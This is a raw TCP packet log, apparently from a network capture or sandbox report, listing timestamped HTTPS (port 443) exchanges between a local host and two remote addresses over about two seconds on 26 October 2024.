Oct 26, 2024 13:49:08.525711060 CEST	49780	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:08.525722027 CEST	443	49780	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:08.526333094 CEST	49780	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:08.526336908 CEST	443	49780	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:08.526623964 CEST	49781	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:08.526650906 CEST	443	49781	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:08.527720928 CEST	49781	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:08.527729988 CEST	443	49781	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:08.528167963 CEST	49783	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:08.528183937 CEST	443	49783	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:08.528680086 CEST	49783	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:08.528698921 CEST	443	49783	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:08.543356895 CEST	443	49776	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.547017097 CEST	49785	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:08.547326088 CEST	443	49775	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.547328949 CEST	443	49777	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.547338963 CEST	443	49778	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.651644945 CEST	443	49780	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:08.651673079 CEST	443	49780	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:08.651732922 CEST	443	49780	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:08.651736975 CEST	49780	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:08.651788950 CEST	49780	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:08.652671099 CEST	443	49782	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:08.652730942 CEST	443	49782	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:08.652780056 CEST	49782	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:08.652791023 CEST	443	49782	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:08.652827978 CEST	49782	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:08.652833939 CEST	443	49782	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:08.652904987 CEST	443	49782	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:08.652945995 CEST	49782	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:08.653099060 CEST	443	49783	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:08.653129101 CEST	443	49783	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:08.653163910 CEST	49783	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:08.653186083 CEST	443	49783	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:08.653204918 CEST	443	49783	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:08.653297901 CEST	49783	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:08.653711081 CEST	443	49784	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:08.653814077 CEST	443	49784	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:08.653852940 CEST	49784	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:08.658391953 CEST	443	49781	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:08.658489943 CEST	443	49781	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:08.658560038 CEST	49781	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:08.693062067 CEST	49761	443	192.168.2.5	52.149.20.212
Oct 26, 2024 13:49:08.693149090 CEST	443	49761	52.149.20.212	192.168.2.5
Oct 26, 2024 13:49:08.693188906 CEST	49761	443	192.168.2.5	52.149.20.212
Oct 26, 2024 13:49:08.693208933 CEST	443	49761	52.149.20.212	192.168.2.5
Oct 26, 2024 13:49:08.694401026 CEST	49780	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:08.694401026 CEST	49780	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:08.694478035 CEST	443	49780	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:08.694506884 CEST	443	49780	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:08.695693016 CEST	49784	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:08.695713043 CEST	443	49784	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:08.695724964 CEST	49784	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:08.695730925 CEST	443	49784	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:08.696492910 CEST	49781	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:08.696492910 CEST	49781	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:08.696516037 CEST	443	49781	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:08.696525097 CEST	443	49781	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:08.697149038 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.697158098 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.697197914 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.697216988 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:08.697236061 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.697252989 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:08.697272062 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:08.698071957 CEST	49782	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:08.698100090 CEST	443	49782	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:08.698124886 CEST	49782	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:08.698138952 CEST	443	49782	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:08.699481964 CEST	49783	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:08.699493885 CEST	443	49783	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:08.699505091 CEST	49783	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:08.699510098 CEST	443	49783	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:08.707947016 CEST	49787	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:08.707990885 CEST	443	49787	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:08.708040953 CEST	49787	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:08.712826014 CEST	49787	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:08.712852955 CEST	443	49787	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:08.724004984 CEST	49788	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:08.724050045 CEST	443	49788	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:08.724101067 CEST	49788	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:08.724261999 CEST	49788	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:08.724278927 CEST	443	49788	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:08.726181984 CEST	49789	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:08.726265907 CEST	443	49789	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:08.726335049 CEST	49789	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:08.728297949 CEST	49790	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:08.728324890 CEST	443	49790	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:08.728369951 CEST	49790	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:08.729790926 CEST	49791	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:08.729813099 CEST	443	49791	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:08.729880095 CEST	49791	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:08.729968071 CEST	49789	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:08.729995966 CEST	443	49789	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:08.730185032 CEST	49790	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:08.730206966 CEST	443	49790	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:08.730995893 CEST	49791	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:08.731017113 CEST	443	49791	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:08.746504068 CEST	443	49777	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.746534109 CEST	443	49777	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.746541023 CEST	443	49777	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.746573925 CEST	443	49777	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.746583939 CEST	443	49777	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.746593952 CEST	49777	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:08.746608973 CEST	443	49777	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.746623993 CEST	443	49777	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.746625900 CEST	49777	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:08.746645927 CEST	49777	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:08.746684074 CEST	49777	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:08.750185966 CEST	443	49776	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.750279903 CEST	443	49776	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.750336885 CEST	49776	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:08.752115965 CEST	443	49775	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.752156019 CEST	49777	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:08.752172947 CEST	443	49777	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.752362013 CEST	443	49775	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.752418041 CEST	49775	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:08.754440069 CEST	49775	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:08.754456997 CEST	443	49775	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.759124994 CEST	49776	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:08.759162903 CEST	443	49776	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.825472116 CEST	443	49785	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.825503111 CEST	443	49785	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.825511932 CEST	443	49785	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.825526953 CEST	443	49785	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.825546980 CEST	443	49785	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.825556993 CEST	443	49785	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.825560093 CEST	49785	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:08.825603008 CEST	443	49785	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.825618029 CEST	443	49785	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.825625896 CEST	49785	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:08.825647116 CEST	49785	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:08.869153976 CEST	443	49778	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.869190931 CEST	443	49778	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.869200945 CEST	443	49778	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.869226933 CEST	443	49778	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.869240046 CEST	49778	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:08.869246960 CEST	443	49778	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.869257927 CEST	443	49778	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.869271040 CEST	443	49778	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.869275093 CEST	49778	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:08.869296074 CEST	49778	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:08.869311094 CEST	49778	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:08.869319916 CEST	443	49778	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.869353056 CEST	443	49778	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.869390965 CEST	49778	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:08.871205091 CEST	49778	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:08.871216059 CEST	443	49778	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.953624964 CEST	49785	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:08.992185116 CEST	443	49785	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.992218971 CEST	443	49785	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.992346048 CEST	49785	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:08.992346048 CEST	49785	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:08.992376089 CEST	443	49785	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.992392063 CEST	443	49785	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.992408991 CEST	443	49785	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.992422104 CEST	443	49785	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.992430925 CEST	49785	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:08.992439032 CEST	443	49785	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.992448092 CEST	49785	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:08.992465019 CEST	443	49785	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.992475986 CEST	49785	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:08.992494106 CEST	49785	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:08.992500067 CEST	443	49785	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.992542028 CEST	49785	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:08.992551088 CEST	443	49785	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.992691994 CEST	443	49785	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:08.992747068 CEST	49785	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:09.036917925 CEST	49785	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:09.036955118 CEST	443	49785	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:09.065263033 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:09.065274954 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:09.065340042 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:09.065368891 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:09.065393925 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:09.065426111 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:09.065442085 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:09.145515919 CEST	49793	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:09.145546913 CEST	443	49793	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:09.145598888 CEST	49793	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:09.145870924 CEST	49793	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:09.145881891 CEST	443	49793	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:09.222496033 CEST	49794	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:09.222532034 CEST	443	49794	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:09.222582102 CEST	49794	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:09.222843885 CEST	49794	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:09.222855091 CEST	443	49794	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:09.434037924 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:09.434057951 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:09.434076071 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:09.434102058 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:09.434130907 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:09.434144020 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:09.434163094 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:09.453484058 CEST	443	49791	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:09.460335016 CEST	443	49787	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:09.460632086 CEST	443	49788	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:09.464694023 CEST	443	49790	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:09.474946022 CEST	49790	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:09.474961042 CEST	443	49790	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:09.476547956 CEST	443	49789	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:09.477164984 CEST	49790	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:09.477174044 CEST	443	49790	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:09.478008032 CEST	49791	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:09.478095055 CEST	443	49791	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:09.479012012 CEST	49791	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:09.479027033 CEST	443	49791	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:09.479290962 CEST	49789	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:09.479340076 CEST	443	49789	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:09.479887962 CEST	49789	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:09.479901075 CEST	443	49789	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:09.481050014 CEST	49787	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:09.481081009 CEST	443	49787	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:09.481703997 CEST	49787	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:09.481709003 CEST	443	49787	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:09.482161999 CEST	49788	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:09.482177019 CEST	443	49788	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:09.483022928 CEST	49788	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:09.483027935 CEST	443	49788	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:09.602927923 CEST	443	49791	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:09.603152990 CEST	443	49791	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:09.603213072 CEST	49791	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:09.603672981 CEST	49791	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:09.603710890 CEST	443	49791	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:09.603729010 CEST	49791	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:09.603737116 CEST	443	49791	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:09.604538918 CEST	443	49790	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:09.604652882 CEST	443	49790	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:09.604722977 CEST	49790	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:09.606404066 CEST	49790	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:09.606426001 CEST	443	49790	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:09.606439114 CEST	49790	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:09.606445074 CEST	443	49790	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:09.607594013 CEST	443	49789	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:09.607824087 CEST	443	49789	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:09.607886076 CEST	49789	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:09.608374119 CEST	443	49788	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:09.608515978 CEST	443	49788	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:09.608650923 CEST	49788	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:09.610151052 CEST	49796	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:09.610178947 CEST	443	49796	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:09.610431910 CEST	49796	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:09.611211061 CEST	443	49787	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:09.611867905 CEST	443	49787	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:09.611870050 CEST	49796	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:09.611882925 CEST	443	49796	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:09.611923933 CEST	49787	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:09.612091064 CEST	49787	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:09.612106085 CEST	443	49787	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:09.612116098 CEST	49787	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:09.612121105 CEST	443	49787	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:09.613059998 CEST	49789	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:09.613085032 CEST	443	49789	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:09.615058899 CEST	49797	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:09.615103006 CEST	443	49797	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:09.615233898 CEST	49788	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:09.615247011 CEST	443	49788	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:09.615272999 CEST	49797	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:09.615432024 CEST	49797	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:09.615464926 CEST	443	49797	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:09.618609905 CEST	49798	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:09.618629932 CEST	443	49798	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:09.618696928 CEST	49798	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:09.621354103 CEST	49799	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:09.621387005 CEST	443	49799	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:09.621469021 CEST	49799	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:09.621923923 CEST	49798	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:09.621939898 CEST	443	49798	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:09.623291969 CEST	49799	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:09.623332024 CEST	443	49799	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:09.624226093 CEST	49800	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:09.624258041 CEST	443	49800	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:09.624341965 CEST	49800	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:09.627338886 CEST	49800	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:09.627351046 CEST	443	49800	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:09.801743984 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:09.801759005 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:09.801801920 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:09.801820993 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:09.801836967 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:09.801876068 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:10.008155107 CEST	443	49793	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:10.034928083 CEST	49793	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:10.034992933 CEST	443	49793	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:10.036364079 CEST	443	49793	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:10.077558994 CEST	49793	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:10.077718973 CEST	49793	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:10.077742100 CEST	443	49793	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:10.077814102 CEST	443	49793	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:10.086865902 CEST	443	49794	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:10.087651968 CEST	49794	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:10.087667942 CEST	443	49794	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:10.088018894 CEST	443	49794	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:10.088496923 CEST	49794	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:10.088557005 CEST	443	49794	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:10.088658094 CEST	49794	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:10.131325960 CEST	443	49794	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:10.140111923 CEST	49794	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:10.170521021 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:10.170532942 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:10.170598030 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:10.170639992 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:10.170639992 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:10.170677900 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:10.170702934 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:10.171902895 CEST	49793	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:10.174926043 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:10.174952984 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:10.325720072 CEST	443	49793	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:10.325813055 CEST	443	49793	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:10.325907946 CEST	49793	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:10.326993942 CEST	49793	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:10.327016115 CEST	443	49793	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:10.337999105 CEST	443	49797	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:10.339978933 CEST	49797	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:10.340010881 CEST	443	49797	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:10.342415094 CEST	49797	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:10.342427015 CEST	443	49797	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:10.347168922 CEST	443	49799	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:10.347353935 CEST	443	49796	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:10.347662926 CEST	49799	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:10.347696066 CEST	443	49799	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:10.348228931 CEST	49799	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:10.348237991 CEST	443	49799	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:10.348551989 CEST	49796	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:10.348577023 CEST	443	49796	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:10.349287033 CEST	49796	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:10.349292994 CEST	443	49796	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:10.359050035 CEST	443	49798	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:10.360121012 CEST	49798	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:10.360136986 CEST	443	49798	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:10.364510059 CEST	49798	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:10.364516973 CEST	443	49798	13.107.246.60	192.168.2.5
